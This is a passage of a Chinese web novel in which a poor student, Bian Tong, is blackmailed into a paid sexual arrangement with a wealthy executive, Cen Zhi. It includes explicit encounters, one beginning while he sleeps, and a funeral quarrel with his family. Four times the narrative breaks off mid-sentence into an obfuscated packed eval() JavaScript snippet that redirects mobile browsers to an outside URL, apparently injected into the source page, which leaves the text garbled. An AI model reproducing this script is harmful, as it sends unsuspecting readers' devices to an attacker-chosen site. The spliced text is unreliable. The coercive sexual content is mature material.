那他辛苦考上大学,努力学习又算什么? 为了斩断自己的念想,边桐快速地编辑信息。 边桐:【你的体检报告什么时候发过来?不要再给我发红包,这个钱你收回去。还有,我不会陪你玩,你再纠缠下去,我会报警。如果你执意要曝光视频,我也没办法,一切交给警方处理,反正到时候坐牢的不是我,我不会受你威胁……】 边桐一口气编辑了很多,还没来得及发出去,对方竟在同一时间发了好几条消息过来。 岑止:【转账¥50000】 岑止:【晚上八点半,过来陪我。】 岑止:【酒店地址发你。】 之后连同他的体检报告,也一并发给边桐。 边桐反复再三确认,对方确实给他转了¥50000。 岑止:【刚才看你正在输入中,你要给我发什么?】 边桐:【你是不是手滑了?】 岑止:【给你的钱安心收着,我送出去的东西不会要回来。】 边桐:【我不是这个意思。】 岑止:【那是什么意思?】 边桐:【干你们这行,钱应该很难挣吧?】 岑止:【大鱼吃小鱼,小鱼吃虾米。】 边桐:【没懂。】 岑止:【这么说吧,我混一个高档局,都能包你好几个晚上。】 边桐:【当我没说。】 岑止:【今晚过来。】 边桐:【我需要考虑一下。】 岑止:【随便你,你不来有的是人抢着来,过时不候。】 岑止:【钱你先拿着吧,你不来我也不会逼你还钱的,我不是这种人。】 边桐:【那你之前还威胁我?】 岑止:【还不是太喜欢你,怕你拒绝我才出此下策?】 边桐:【……】 岑止觉得有些好笑,还以为他会很有骨气,要犟些时日才会妥协,两天不到的时间差不多拿下。 果然啊,人性这东西在金钱面前脆弱得不堪一击。 岑止:【怎么了弟弟?到底来不来?】 边桐:【我可以现在过去吗?】 岑止看到他这条消息没遭住,嘴里的酒差点喷出来,饭局上制片方与小明星吓得直哆嗦,赶紧让旁边的小明星递纸巾。 那小男星整个娇软的都贴上去,岑止微不可察地皱眉,抬手挡开,接过纸巾将水珠擦干。 从这里开车到酒店需要四十多分钟,岑止本来算好自己九点过去,但是一想到边桐在酒店房间蒙着眼乖乖等他过去,心里痒痒的,已经没有心思做别的。 “我突然有件急事需要回去处理,就不奉陪了,其余的事宜你们找我助理去谈吧。”岑止看也没看他们一眼,掉头就走。 在京市,岑家的权势与金钱,确实让他有这个资格横行无忌。 边桐坐了十几分钟公交车,来到酒店外。 对方订的是市里很有名的五星级酒店,他去前台报了自己的手机号码,就被前台的服务员热心地领进电梯,送到房间门口,给他刷开房间的门。 边桐道了一声谢,关上门,他先将这套有600+坪方的总统套间逛了一圈,餐厅、书房、厨房、私人泳池、露天花园应有尽有。 太奢侈了! 现在才七点,他来到客厅打开电脑,在码市处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449624|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几个订单,有的是几块钱的小订单,有的是三十来块,像那种几百块是他自己找外包公司联系的,但极少。 房间里的网速用着真舒心,让边桐感觉上网从未有过的畅快。 不知不觉忙到晚上八点半,突然手机铃声响起。 边桐敲键盘的手僵住,以为是买他的人,看到来电,是家族群里的小姨打来的。 他接过电话,那端传来小姑一阵无端怒骂。 “边桐,你怎么这么没良心?你外婆可没少惦记你吧?想当初你家困难,大学第一学期的学费还是你外婆拿给你的,你都忘了是吧?” 边桐深吸口气,“我没忘,小姑,你到底要说什么?我现在有点事情,你能不能……” “你现在能有什么破事,比你外婆的丧事还重要?” 丧事? 边桐只觉脑子里有什么东西在一瞬炸开,“我怎么不知道?” “别装了!你妈可回来都说了,你得罪客人害得家里门店被查,她说你两句,你就跟她赌气离家出走!你妈可是当着我们的面打了你好几个电话,没人接!我说,你都二十岁了吧?怎么还这么混账不懂事呢?” 之后电话被大舅抢走,又是好一通数落,边桐耳朵嗡嗡作响,他们轮番上阵,说了什么他没有听进去。 脑子里只有一个念头。 外婆死了! 外婆死了!! 这个世界上唯一真心关心过他的老太太,死了。 他的心口仿佛有一把刀在搅,疼得喘不上气。 泪水无知无觉地从眼眶滚落,模糊了眼前的视线,他蜷缩着身体在沙发里,发出如小兽般的呜咽声。 直到岑止给他打了好几通微信电话,边桐才收拾了一下心情,接过电话。 电话那端的岑止很不高兴,“干嘛去了?怎么这么久才接电话?” “没,”边桐声色嘶哑,清了清嗓门,“没干嘛。” “现在去主卧室,换上我为你准备的睡衣,记得把眼罩也戴上。” “眼罩?” “我们关系不会维持太久,等我玩腻了,就两清,我不喜欢别人纠缠。” 何况像这种穷小子,尝到金钱的滋味,到时候很难甩开,穷生奸计,保不齐他会做出什么损人不利己的事来。 玩归玩,闹归闹,岑止虽然不怕他闹腾,但因为这种人损害自己的利益与名声,不值当。 边桐轻应了声挂断电话,回到主卧,看到睡衣与眼罩摆在偌大的圆形大床上。 睡衣是纯黑色真丝睡衣,V字领开得很大,边桐看着觉得没什么,一穿上才知道问题,这种黑色的真丝睡袍穿在身上,还不如什么都没穿。 他有些别扭拢了一下领子,手机那端传来清脆的电梯声。 “穿好了吗?我上来了。”岑止的声音再次传来。 “好,好了。” “把眼罩戴上,乖乖等我。” “嗯。” 边桐戴上黑色眼罩,世界陷入一片黑暗。 看不到时,听觉就会格外敏锐。 没多久,他听到开门声,还有脚步逼近的声音。 他僵着身子坐在床沿,真就乖乖等着,几乎没有任何花样。 而岑止就是喜欢他这种木讷到无比纯情的样子,不谙世事,没有心眼,收了钱就会乖乖听话,不会假清高。 5. 第5章 边桐的眼睛生得极好看,眼睫浓密修长,眼眸似黑曜石般,既灵动又深邃。 他把眼睛蒙上,反而突出了他这张脸完美的比例。 岑止伸出手,微凉的指尖轻抚上他的脸,不由暗叹,怎么会有人能长得这么精致漂亮? 其实娱乐圈不乏像这样漂亮的男孩,也许,是这张脸与男孩干净的气质,戳中他的心,才会让他一直念念不忘。 边桐微微偏头躲闪着抚摸他脸颊的指尖,但他闻到男人指尖独特的香水味混合着香烟的气味,淡淡的,让人上瘾。 昂贵又独一无二的香水味,闻一口仿佛都是金钱的厚重感。 太好闻了! 于是边桐偷偷延长吸气,然后缓缓呼出。 岑止发现他在调整呼吸,低哑着嗓音问道:“紧张?” 边桐下意识蜷起指尖,实诚道:“嗯,有一点。” “别紧张,我让你做什么你就做什么。”男人的声音很好听,低沉缓慢,带着几分安抚,竟有几分不经意的慵懒与温柔。 让他完全不会联想到公寓里那道冰冷、傲慢的声音,会是来自同一个人。 岑止轻轻一推,边桐就识趣地仰面倒在大床上,看起来有些手足无措。 岑止抽掉领带,脱下西装外套,随手扔开后,毫不客气地骑在边桐的身上。 男人的体重不似女人那么轻盈,即使蒙着眼睛,也让他清晰地感知到,自己在和一个男人睡觉。 边桐的好身材不是在健身房吃蛋白粉特意练出来的样子,而是如铁般的紧致却不失线条流畅,宽肩细腰,精瘦却蕴藏着无穷的力量,穿衣少年感十足,脱衣又很有男人味。 岑止稀罕他,正是因为这些都长在一个人身上,那么恰到好处。 他张嘴咬上边桐漂亮鲜红的唇瓣,标准的M唇型,饱满似沾着蜜,让岑止吮吻得疯狂又饥渴。 边桐明显有些被吓到,慌乱得想要闪躲,男人的吻太过狂野,用力得仿佛要将他拆吃入腹。 察觉到他闪躲的意图,岑止语气不善地低喝道:“别动!” 边桐呼吸一滞,便不敢再动。 他第一次清晰地感觉到皮肉相贴的黏腻感,心里生出一股不适,随后又被强烈的感觉冲刷得一干二净。 岑止激动半天,却发现压在身下的青年压根没反应。 他咬耳戏谑:“欸~让你二弟醒来工作。” 边桐脸颊涨红,蔓延到脖根。 岑止向下滑去,鼻息喷洒的灼热几乎要将他烫伤,边桐吓了一跳,猛地将岑止往上拉,一个翻身制止住他。 岑止很不高兴,用力扣住他的下巴,语气森冷:“你找别人玩过了?所以跟我没有兴致?” 边桐眉头紧皱,别开脸。 但很快又意识到自己的态度不对,收钱的是他,要过来的也是他。 来了二弟不工作,责任在他。 在他的人生信条里,没有拿钱不干事的,这是人品问题。 就在岑止要发火把他踹下去时,却听到边桐轻轻啜泣的声音,黑色的眼罩打湿一圈。 一听到这美好动人的哭声,岑止瞬间熄火。 哭得不只好看还好听。 你说这样的宝贝,要去哪里找? 于是岑止伸手摸摸他的脸,“哭什么?我又没有怪你。” “对不起……” “你真找别人玩了?”岑止语气冷淡几分。 “不是,我没有!” “我信你。”岑止心情瞬间平复下来,像盘小狗似的摸着他的头,哼哼唧唧的,哭得真惹人怜爱,“那你哭什么?” “我外婆去世了。” 岑止怔愣了几秒,外婆吗?勾起他一些不太美好的回忆。 “你外婆对你很好?” 边桐却一时答不上来,只是抽噎着:“她是个很心善的老太太。” 岑止精准解读,没有直接回答他的问题,那就是对他也没很好,但是个善良的人,给过他一点善意。 因为别人一点善意,哭得稀里哗啦,倒是挺记恩。 没见过什么世面,又没有得到过什么善意,他只要稍微用点心,就能把这小子骗到手里当狗耍。 岑止嘴角抑制不住地上扬,心中所想与表达不一,所以面部表情有些扭曲。 他伸手拍着边桐的后背,轻柔地哄着:“你没心情那就不做了,看你哭得我心疼。” 说完,推开边桐下床,“我去洗澡,你先走吧,你外婆家在哪?我叫司机送你去。” 边桐伸手想摘眼罩,似是想到什么,老实地报备:“我想摘眼罩。” “好了,你摘吧。”岑止的声音透过玻璃有些发闷,随后浴室水声响起。 边桐摘下眼罩,隔着磨砂玻璃,看到浴室里有道颀长略单薄的身影正在淋浴,宽肩细腰,屁股很翘,皮肤白得晃眼,一大片一大片隔着朦胧的水雾在眼前晃。 边桐蜷起十指,想到与他之前种种,微红着脸不自在地撇开眼。 他抓起衣服和手机离开房间,穿戴好后,才将主卧的门推开一条缝,“那个……我就先走了,睡衣我叠好放在沙发上。” “嗯,走吧。” 边桐有些歉疚,还想说些什么,但感觉说什么都很多余,于是替他轻轻带上门,离开了酒店。 岑止既然想示好,自然是好事做到底。 他关掉花洒,带着一身水汽披上浴巾走到卧室,拿过手机给自己的司机打去一个电话。 “送一个叫边桐的男孩,大概五分钟后走出酒店,长得最帅的那个。” 说完岑止利落挂电话。 司机腹诽,这让他怎么找? 老板玩过的小男明星,个个都是最帅的。 司机将车开到酒店外的大马路边,这个位置能看到酒店出来的每一个人。 大概五分钟,还真让他等到了! 那男生大高个,蓬松乌黑的头发,没有一点造型,穿着夏天五十块两件的地摊货,斜挎着一个洗得发白的双肩包,身上连件一百块的装饰品都没有,但就是帅得一眼能看到。 司机匆匆推门迎上去:“请问是边少吗?” “我不叫边绍,你认错人了。” “不是……”司机哭笑不得,“总之您就是边先生嘛!老板让我送您。” 边桐立即反应过来,慌忙摆摆手:“不用,我要去的地方在乡镇,那边很偏僻,来回大概需要一个小时的,很麻烦。” “不麻烦不麻烦,边少上车吧。” 现在已经晚上九点多,去那边早就没车,边桐没法拒绝,便道谢上车。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449625|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在副驾驶给司机指路, 出发后,他给岑止发送信息。 边桐:【我已经上车了,谢谢你。】 岑止:【你知道,我要的不是你口头的谢。】 边桐:【我下次一定。】 岑止:【哦?下次一定什么?】 边桐:【一定好好表现。】 岑止:【还算上道。】 岑止一高兴,又给他发了几个大额红包。 岑止:【别矫情,给你就收。】 边桐:【嗯,谢谢哥。】 边桐接了红包。 边桐:【哥,你还没告诉你叫什么名字。】 岑止:【今山。】 边桐觉得他的名字有点奇怪,但没有放心上,只是将他的备注改成‘今山’。 一个小时后,司机将边桐送到小镇。 独栋的平房小楼外挂着丧,里面灯火通明,隐隐传来人声。 边桐推门而入,院子里已经搭好棚,前厅布成灵堂。 舅舅与姑姑这些亲戚都在,孙子辈的此时就他一个,顶着所有人探寻的目光,边桐几不可察地皱着眉,走进灵堂给外婆上香。 他折着黄纸丢进盆里,看着黄纸烧成黑色的灰烬,心里没来由一阵发慌。 一瞬间他想了很多,大多很负面。 人这一生活着到底是为了什么呢? 反正都要死。 风光的死,与孤独的死,并没有本质区别。 终有一天,所有人都会离他而去。 他的孤独,像是漫长潮湿的雨季,被遗忘在角落里腐朽的烂木头,无人在意。 司机送边桐进去后,并没有急着离开,而是给岑止打去一个电话。 “欸老板,他没撒谎,外边挂着丧,他进去一会儿了。” 岑止轻应声,丢开手机,点上一支烟,总统套间的电影画幕上正放着古早的爱情影片。 * 边桐上完香,正准备离开,被身后尖锐的嘲弄与谩骂打断思绪。 “你给我滚出去!”刘月莹气愤地冲上前一把拽着他,将他往灵堂外推,丝毫不顾及他尊严与体面。 “你现在还跑来装什么?外婆生前对你多好啊!要不是你外婆借钱给你上学,你现在还不知道在哪个小破厂里干流水线呢!” 亲戚一个个也跟着嫌恶地看过来。 “月啊,你也别气坏身子,这有的孩子吧,就是来讨债的。” “进来这么久,也不知道叫人,书都读狗肚子里去了!” “这要是我家那个,早被我打死。” “小姑子你就是心太善,这孩子不能惯着,该打的时候就得狠狠打。” …… 边桐跟这些亲戚叔伯向来不亲近,小时候每年寒暑假几个表兄弟寄养在外婆家时,他总是被他们欺负。 表兄弟的爸妈会给外婆家用,刘月莹只给外婆一半的钱,小孩最会见风使舵,知道谁最好欺负,所以边桐小时候不知道给这些人背了多少黑锅。 这些黑锅扣在他头上,在亲戚之间传开,他成了这些人私底下可以肆意诋毁嘲讽的对象。 小时候他内向又不爱说话,他们就说他笨,恐怕是个弱智,谁知他是众多亲戚孩子里,唯一以六百七十分考上好大学,拿奖学金的人。 6. 第6章 上初中时他还很瘦弱、矮小,又笑他长大了是个五短身材基因差,长大了没姑娘要,结果高三最后一年,他的身高蹿到了一米九。 现在,又说他人品差,白眼狼,可笑的是,他是今晚唯一一个到场的孙子辈。 他不是外婆最疼爱的孩子,但终究受过外婆的恩情。 如今他已经长大,也不再是被人污蔑欺负只会咬唇忍着泪水的孩子。 刘月莹被撺掇着就要上手打他,边桐猛地扣住她的手腕,不再隐忍退让,在所有人的惊呼中,边桐推开刘月莹。 要不是有人上前扶住她,刘月莹恐怕会摔个四脚朝天。 被拂了脸面的刘月莹涨红着脸,怒斥着:“反了天了你!看我今天不打死你个孽障!” 边桐随手抄起一根扁担,模样有些吓人,“我过来送她老人家最后一程,不想惹事。你们谁要动手就只管上,大不了同归于尽,不要以为我好欺负!今天走出这个门,从今往后我跟你们没半毛钱关系,背后爱怎么编排我都随便你们!” 这种亲戚,这种妈,有还不如没有。 人真是欺善怕恶的,他一凶,所有人瞬间安静如鸡。 “都没话要说了是吧?”边桐这才扔开手里的扁担,“那我就走了。” 在所有亲戚看来,他那一副桀骜不驯、大逆不道的样子已经没救,于是又假惺惺地转过身来安慰刘月莹。 边桐走出老旧的平房,脚下生风,头也没回。 他迎着晚风深吸口气,烦闷的潮热被吹散,只觉浑身通透,他握紧书包的肩带,眼神坚定。 从今以后,他再也没有亲人,也没有牵挂,但即使是一个人,也要好好活下去。 司机刚抽完一根烟,没想到他这么快就出来了,于是又叫住他。 “岑少,回去吗?” 现在这么晚,步行到公交车站够呛,边桐尴尬地笑着上前跟司机打招呼:“叔,麻烦你了。” “嗐~说什么麻不麻烦,你坐后座吧,舒服点儿,回去的路我熟了。” “谢谢您。” 司机老赵笑着点头,不由心道:“这孩子跟之前那些小玩意还真不一样,之前那些就是一群活爹,颐指气使,脾气一个比一个大。” 回去的车上,边桐首先做的事情就是从各个家族群里退出来,拉黑刘月莹和边宗耀的联系方式。 没一会儿,边父打电话过来,倒不似他们那么怒气冲天,却是十分冷淡:“你人在哪?都要二十岁的人了,怎么还这么不懂事?你现在回去向你舅舅姑妈他们跪下认错,请求他们原谅,听你妈说你好久没补贴家用,你就这么气你妈?你这么不听话,就别怪我们不认你这个儿子!” 边桐听着这些陈词滥调,心里早就波澜不惊,顺着他的话说道:“我也很好奇,我到底是不是你们亲生的儿子?要不挑个时间,去做一下亲子鉴定?不会真抱错了吧?” 边父竟是什么也没说,用力挂断电话。 老赵透过后视镜,生起一丝八卦,笑着问道:“跟爸妈吵架了?” “不是吵架,是我不要他们了。” 这句话听在老赵耳里,不免有些孩子气的任性,哪有做儿子不要爹妈的道理? 现在这些年轻人,四体不勤,五谷不分,离开父母能活得下去? 看他长得乖巧,言谈举止也谦逊有礼,骨子里却是个离经叛道的人。 估计是觉得自己攀交权贵,以后就能飞黄腾达,他最了解这位岑少爷是个薄情的人。 用不了多久,就会玩腻的。 老赵想真心劝一劝他,话到嘴边又咽了回去,算了算了,人各有命。 回去的路上,老赵认真开车,边桐又是个沉默寡言的,一路无言,只传来后座手机编辑信息的哒哒声。 边桐:【哥,我回来了,谢谢你今天让司机送我。】 岑止捞过手机看了眼信息,冷笑,第一时间回复:【等着你下次好好报答我。】 边桐:【嗯。】 岑止没再回他,客厅的沙发十分宽敞,他抱着抱枕听着电影里的音乐旋律,就这么睡去。 边桐回到市区,订了一间比较便宜的小旅馆睡先凑合一晚上。 第二天起来时,长了一身的疹子。 他痒得难受,去看病的钱是住小旅馆的三倍。 抹上药膏,又吃了药,还是痒。 离开学还有一个月,早知道就以实习理由提交留校住宿申请。 本市租房一般都是押一付三,好几千块,他住不满一个月就要走,不划算。 边桐在冷饮店要了一杯咖啡,蹭了两小时的冷气,本想码几个代码,身上的疹子痒得让他一直挠,让周围的人投来打量探寻的目光。 出于二十年的素质教养,他不好意思在公共场合挠来挠去,收拾东西来到附近的公园,待到傍晚。 熬到晚上六点,他拿出手机给岑止发消息。 边桐:【哥,我今晚可以过来吗?】 此时岑止正在加班,处理公司一个艺人捅出来的大娄子,赔付的违约金高达好几亿,听着律师在跟品牌方谈解约,他表面不显,其实已经起了杀心。 突然摆在办公桌上的手机亮了。 看到是边桐白色柯尔鸭的头像,他拿起手机漫不经心点开微信对话框。 本人跟头像挺般配,纯白的骚鸭子,差点被他清纯的外表,乖顺的性格给骗了。 一开始装得那么贞烈,这才几天,就已经本性毕露,想要夜夜爬男人的床。 他还听司机说这小子其实性格叛逆得很,不太服家里的管教,不认父母正在闹离家出走。 太过主动,就显得很廉价。 岑止觉得他对这小玩意的新鲜感不会维持太久。 边桐忐忑不安地等着消息,大约一分钟,对方回消息了。 岑止:【今晚有事,不一定会过去。】 边桐:【没关系,我可以过去等你。】 岑止:【嗯,你自己决定吧。】 边桐:【谢谢哥。】 回完消息,边桐抄起书包,坐公交车来到酒店。 他在外边的浴室先冲澡,擦好药后换上一身干净的衣服,房间冷气很足,更重要的是这里的网速非常好。 他拿出电脑,十指快速敲击键盘,开始干活。 一直忙到晚上十点,好饿,但是他更想睡觉,身体往沙发上一倒,随手捞过抱枕深吸口气,闭上眼睛准备休息一下。 半睡半醒间,他只觉身体很沉,小腹酸胀涌上一股淹没理智的欲望,鼻尖传来让人上瘾的高级皮革淡香,有个男人在他身上晃动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449626|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雪白的皮肤弥漫上一层桃红,灼热又潮湿的汗液黏腻又暧昧。 边桐配来意识到什么脸色一片绯红,跳起身冲进浴室,很快又传来水声。 洗了足有半个小时,连带着第二条内裤也一起洗干净晾在通风口。 他围着一条浴巾,下面是空挡,夏天衣服干得快,所以他只带了两条内裤。 边桐比较有边界感,没有去主卧睡,而是选了一间最小的客房,睡前他看了眼时间,晚上十一点,今山应该不会来了。 也不知睡了多久,迷糊中,他只觉身上一沉,有人在摸他。 他惊了一下,意识从睡梦中醒来,黑暗中,他下意识想要推开身上的人,“谁?!” “是我。” 边桐呼吸一屏,“今山哥?” “嗯。” 男人的灼热的气息喷在他脸上,因为他身上的气味很好闻,又因之前那个春梦,边桐被他亲得心猿意马,神情渐渐迷离。 “为了等我,连内裤都没穿,骚成这样?” 边桐窘迫得浑身滚烫,不知从何解释。 最后自暴自弃地想,反正也解释不清,他来这里就没想干净离开,他说骚就骚吧。 “用力点,没吃饭吗?”岑止声音沙哑的不满抗议。 边桐一个翻身铆足劲儿开始干活,心里那叫一个苦! 他饿得前胸贴后背,不仅蛋白质流失惨重,还要熬夜埋头苦干。 一曲旖旎的交响乐一直持续到清晨五点半,边桐发现男人不但没有一丝疲态,还神清气爽地起床去大厅的浴室里冲澡。 半小时后,大厅传来一道沉闷的关门声,边桐这才长吁口气。 手机弹出几条未读消息。 边桐伸出的胳膊仿佛有千钧之重,拿过手机。 【您的好友今山向您转账:¥20000】 边桐:【谢谢今山哥。】 岑止:【表现还行,但是有点无趣,回头给你找几个片,你学习一下。】 边桐:【。】 岑止:【?】 边桐丢下手机,几乎昏睡过去。 闭眼躺尸足有十几分钟,又强撑起身体给他回消息。 边桐:【抱歉哥,我太饿了。】 岑止以为是他不太高兴,其实他说得还算客气,除了埋头苦干,一点技术含量都没有,浪费那么好的硬件。 看来这狗崽子脾气还小,表面乖顺,事事回应,小心思全藏在字里行间里。 岑止:【给你叫了餐,酒店的早餐还不错。】 边桐:【现在吗?】 岑止:【现在,起床吃吧。】 边桐爬起床穿衣服时,双腿软得直抖,好像真有点饿到低血糖了。 要不是男人半夜跑过来找他做了好几次,他有自信保存的卡路里能撑到吃午饭。 果然,早上六点整,酒店破格送来热腾腾的早点,这待遇和服务估计是独一份。 酒店的早餐真的非常丰盛,中西结合的包点面食,色香味俱全。 边桐感动得不行,用餐前给岑止拍了张照片。【哥,早餐送过来了,很丰盛,谢谢哥。】 吃完早饭,边桐拿过手机打开微信,对方没有回消息。 边桐:【哥,我今天能一直待在酒店房间里吗?】 7. 第7章 岑止早上七点回岑家老宅,例行公事,每个月中旬回来陪老爷子吃早饭。 每个月的这一天,是他心情最糟糕的时候。 但凌晨的宣泄仿佛把他整个人掏空,面对这群糟心的人,他不但没了脾气还没了心气。 岑止:【随便你。】 边桐心里一阵喜悦:【哥,你人真好。】 岑止冷笑,又是个心机深沉的,不过才一晚上,就赖着不想走。 他见过很多这种认不清自己的小玩意,不过是玩玩而已,就以为自己是特别的。 吃完早饭,边桐喜滋滋地打开电脑,继续昨天没编完的代码。 这里网速很快,冷气很足,能让他安下心来做事。 心无旁骛地码到上午十一点,边桐合上电脑,想着点个外卖算了,跑出去肯定又要多花钱。 吃完外卖,边桐收拾了外卖盒,打开排气扇,直到确定没有气味,这才开始洗漱,然后自己找备用床单换好后,开始补觉。 边桐在酒店里连续待了两天,岑止没再过来。 不花钱的东西,用着让人不安,边桐主动给他连发好几条消息寻求一丝心安。 边桐:【哥,这两天我一直待在酒店里,你会介意吗?】 边桐:【今晚你会过来吗?】 边桐:【哥,很忙吗?】 边桐:【你要是不高兴我一直占着酒店房间,我可以马上离开。】 …… 岑止不耐烦地‘啧’了声,不理他还使出这么低级的招数威胁他。 有点可笑。 身边的好友突然凑过来,往他手机屏幕上瞄了眼,禁不住叹道:“这又是哪个小妖精?瞧瞧这茶里茶气的,看来是耐不住寂寞了。” 岑止最讨厌这些个心眼子,但他确实对边桐还没玩腻,所以晾了他半小时回消息哄着,【我没赶你走,你就安心待着。】 边桐正盯着手机等待最后的宣判,看到他回复的新消息,差点欢呼出声。 太好了!这一个月有落脚的地方了! 而且金主并不是天天来找他交作业,对他来说无异于天上掉馅饼。 边桐:【好的哥,谢谢你。】 爱在哪里,钱就在哪里,这是亘古不变的道理。 爸妈都没有给过的爱,金主给了他,虽然爱会变质,但是金钱不会。 不管怎么说,边桐对这位金主并没有威逼利诱的恨意,他记住了在他最难的时候金主伸出援助之手的恩情。 岑止去了一趟法国出差,也晾了边桐半个月。 边桐在这半个月也没闲着,每天定时发去对金主的问候,不管金主回不回消息,雷打不动。 做完手里的订单,他买了好些零食和几套女孩子的新衣裳,趁着父母不在家,悄悄回去看小妹,将两大袋零食替她藏到床底下,又让她去试新衣裳。 小妹很高兴,穿着新裙子蹦蹦跳跳的,看着大哥时又一脸忧心:“哥哥,你哪里来的钱给我买这么多好吃的和漂亮的新衣服?” “哥哥打工赚的。”伺候金主也是体力活吧? “哥哥,芽儿有衣服穿,以后哥哥不要给芽儿买衣服了。”芽儿很快就读初一,懂了很多事。 她知道大哥读大学要很多钱,爸爸妈妈只疼二哥,以后大哥还得自己赚钱娶老婆买房子,又是一大笔钱。 边桐笑着摸着妹妹的头顶,“放心吧,哥哥会赚很多很多钱,以后还要供芽儿读大学,等芽儿读大学,哥哥就把你接过去一起生活。” 父母不只偏心,还极重男轻女,小妹读完初中估计就不会再管她,就如他当年那样,恨不得他早点进厂打螺丝补贴家用。 他在家里给妹妹补好功课,离开前叮嘱她要好好读书,妹妹眼里噙着泪水一一应下。 岑止回来的当天晚上,车还没有停稳,从暗处扑出一道身影,差点撞上。 看清来人,岑止压下心头的怒火,用力按着喇叭,脸色阴沉地示意他让道。 夏飞音脸色苍白,踉跄让开静等在一旁。 岑止停稳车,用力推开车门又用力甩上,眸光阴骘:“你想死是吗?” 夏飞音‘扑通’一声跪在他面前,抱着他的大腿声泪俱下,“岑少,求你,求你给我一条活路!” “你要什么活路?” “之前内定Cipal的高侈代言人,您说是给我的,为什么转眼就给别人?” 岑止眉头紧锁:“很多事情不是我一个人决定,你是觉得我公报私仇?” “难道不是吗?!”夏飞音崩溃怒吼,似乎又意识到自己的失态,“对,对不起岑少,我真的没办法,我不能丢掉这个代言,您帮帮我。” 岑止不由觉得好笑,“丢掉一个代言而已,就要死要活,啊~因为抢你代言的是你的死对头骆唯一?他签的是群星,我的手还伸不了这么长,你以为他上边没有人捧他?” “还不是你没有上心,才让别人钻了空子?” 夏飞音说得也没错,那晚之后岑止就厌弃他了,怪他自己沉不住气,被抢走一个代言就把自己搞成这副狼狈样子。 “你该找的不是我,去看看心理医生吧!” 岑止白了他一眼,锁上车门头也不回地走进私人电梯。 他走后,夏飞音就在地下停车场高声怒骂:“岑止!你tm玩了老子在这装什么?王八蛋!叫我去看心理医生,你自己就是个阳痿的心理变态!一辈子就只能靠那些玩具满足自己的死变态,买根***自己去吧!唔唔唔……” 他还想骂,被后面赶来的保镖捂住嘴,像扔死狗一样扔出小区。 并吩咐小区的保安,以后都不准再放他进来。 岑止并没有被夏飞音这种人影响心情,这种事每年都要来几次,他见怪不怪。 只是他越发坚定,以后不能找这种分手就破防,一点也玩不起的。 于是他终于想起冷落大半个月的边桐。 看着微信每日例行公事般的问候,每次还要发个卖萌的小表情。 不理他,也不哭不闹,感觉他情绪很稳定。 在边桐发完六十多条未回复的消息底下,岑止终于回他消息。 岑止:【去了一趟国外,今天刚回来,给你带了礼物。】 边桐:【是吗?国外好不好玩?】 他秒回消息这一点,让岑止很满意,于是岑止回消息的手指也加快了速度。 岑止:【也就那样。】 边桐:【我还没出过国呢,以后有机会也想出国看看。】 岑止:【这有什么难的?以后我带你去,想去哪个国家?】 边桐:【都可以,我没明确的目标。】 岑止:【今晚洗干净戴好眼罩,在酒店等我。】 边桐:【好,那个……】 岑止:【有什么问题吗?】 边桐:【你说要发给我几个片学习一下,一直没有发过来。】 岑止:【那你不会自己找资源?】 边桐:【我找了,但是不好看,太恶心(删掉重编)……他们做得太野蛮,不像做i。】 岑止:【你还挺敬业。】 边桐:【我不想辜负哥对我的好。】 岑止冷笑,是不想辜负他给的钱吧? 谄媚又市侩的小鸭子,也是他那张清纯的脸太有欺骗性。 岑止在云盘里挑了几个珍藏的影片给他发过去,边桐一脸好学生认真严肃的模样,连上耳机后点开影片。 连点开几个影片,边桐越看越觉得不对劲。 比他自己搜的更变态,看得边桐一阵寒战。 之前做的两次还挺正常的,他给自己发这种,不会也想……边桐心情凝重地放下手机。 他搓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449627|201136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把脸,讷讷:“gay圈玩这么大吗?” 半小时后,门铃响了,岑止给他发送一条语音:【我叫人送了东西过来,去门口拿,打开自己穿上。】 【好。】 边桐起身去门口,从酒店服务员手里接过一个高级蓝色丝绒礼盒。 他抱着礼盒走回大厅,拆开礼盒后傻眼。 